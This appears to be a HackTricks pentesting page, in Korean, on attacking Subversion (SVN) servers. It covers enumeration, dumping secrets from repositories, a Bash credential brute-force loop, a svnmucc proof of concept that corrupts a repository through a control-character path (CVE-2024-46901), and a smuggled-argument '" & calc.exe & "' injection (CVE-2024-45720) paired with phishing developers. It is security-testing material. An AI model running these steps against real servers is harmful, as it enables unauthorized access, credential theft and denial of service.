3690/tcp - Pentesting Subversion (SVN) 서버

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

**Subversion (SVN)**은 소프트웨어 버전 관리와 리비전 관리를 위해 사용되는 중앙집중형 버전 관리 시스템 (Apache 라이선스)입니다.

기본 포트: 3690/tcp (svnserve). HTTP/HTTPS를 통해 mod_dav_svn로 노출되거나 svn+ssh를 통해서도 노출될 수 있습니다.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

열거

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

인증 및 설정 오류 탐지

  • svnserve.conf 파일이 anon-access = read (또는 write)로 허용되어 있을 수 있습니다. 목록을 볼 수 있다면 checkout을 시도해 비밀, 스크립트, CI 토큰을 덤프하세요.
  • 리포지터리는 종종 버전 관리된 설정 파일에 빌드 파이프라인, 배포 키, 데이터베이스 자격증명을 저장합니다. checkout 후 작업 복사본에서 grep하세요: grep -R "password\|secret\|token" -n ..
  • svn+ssh가 활성화되어 있다면, 사용자 셸이 종종 제한된 svnserve 명령을 허용합니다; 래퍼를 우회하기 위해 조작된 서브커맨드로 ssh user@host svnserve -t를 시도해보세요.

자격증명 무차별 대입 (svnserve)

sasl 인증(활성화된 경우)과 단순 비밀번호 파일은 전송 계층으로만 보호되며 기본적으로 잠금이 없습니다. 간단한 Bash 루프로 자격증명을 시도할 수 있습니다:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

최근 취약점 (실제 영향)

mod_dav_svn: 제어 문자로 인한 DoS (CVE-2024-46901)

  • 커밋 권한이 있는 사용자가 제어 문자를 포함한 경로(예: \x01, \x7f)를 작성할 수 있으며, 이로 인해 레포지토리가 손상되어 이후 체크아웃/로그가 실패하거나 mod_dav_svn 워커가 충돌할 수 있습니다.
  • HTTP(S) (mod_dav_svn)를 통해 서비스되는 Subversion ≤ 1.14.4에 영향을 미칩니다. 1.14.5에서 수정되었습니다.
  • svnmucc로 만든 PoC 커밋(유효한 커밋 자격증명 필요):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • 커밋 후, 일반 클라이언트는 관리자가 svnadmin dump/filter/load로 리비전을 수동으로 제거할 때까지 충돌하거나 업데이트를 거부할 수 있습니다.

Windows argument injection in svn client (CVE-2024-45720)

  • Windows에서, svn.exe의 “best-fit” 문자 인코딩은 특수하게 조작된 non‑ASCII 경로/URL을 처리할 때 command-line argument injection을 허용하여 임의의 프로그램 실행으로 이어질 수 있습니다.
  • Windows에서만 Subversion ≤ 1.14.3에 영향을 미치며; 1.14.4에서 수정되었습니다. 공격 표면: 개발자가 공격자가 제어하는 URL/경로에서 svn을 실행하도록 phishing 하는 것.
  • Pentest angle: Windows 개발자에게 제공된 네트워크 공유나 ZIP을 제어할 수 있다면, repo URL 또는 워킹 카피 경로 이름에 best-fit 바이트를 포함시켜 " & calc.exe & " 스타일의 주입된 인수로 디코딩되게 한 다음, 피해자가 해당 경로에서 svn status 또는 유사한 명령을 실행하도록 속이세요.

Notes for Exploitation Workflow

  1. Check access method: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), 또는 svn+ssh://.
  2. Try anonymous read first; then spray common creds. HTTP Basic이 사용된다면, 다른 곳에서 찾은 creds를 재사용하세요.
  3. Enumerate hooks: hooks/pre-commit, post-commit 스크립트에는 평문 credentials 또는 호스트명이 포함되어 있는 경우가 있습니다.
  4. Leverage svn:externals to pull additional paths from other hosts; 체크아웃 후 svn propget svn:externals -R .로 목록을 확인하세요.
  5. Version leaks: mod_dav_svn의 HTTP 응답 헤더는 보통 Subversion & Apache 버전을 표시합니다; 1.14.5와 비교하여 취약 대상인지 확인하세요.
  6. 리포지토리의 파일시스템 접근 권한을 얻은 경우, svnadmin dump/svnlook author/svnlook dirs-changed로 자격증명 없이 오프라인 분석이 가능합니다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기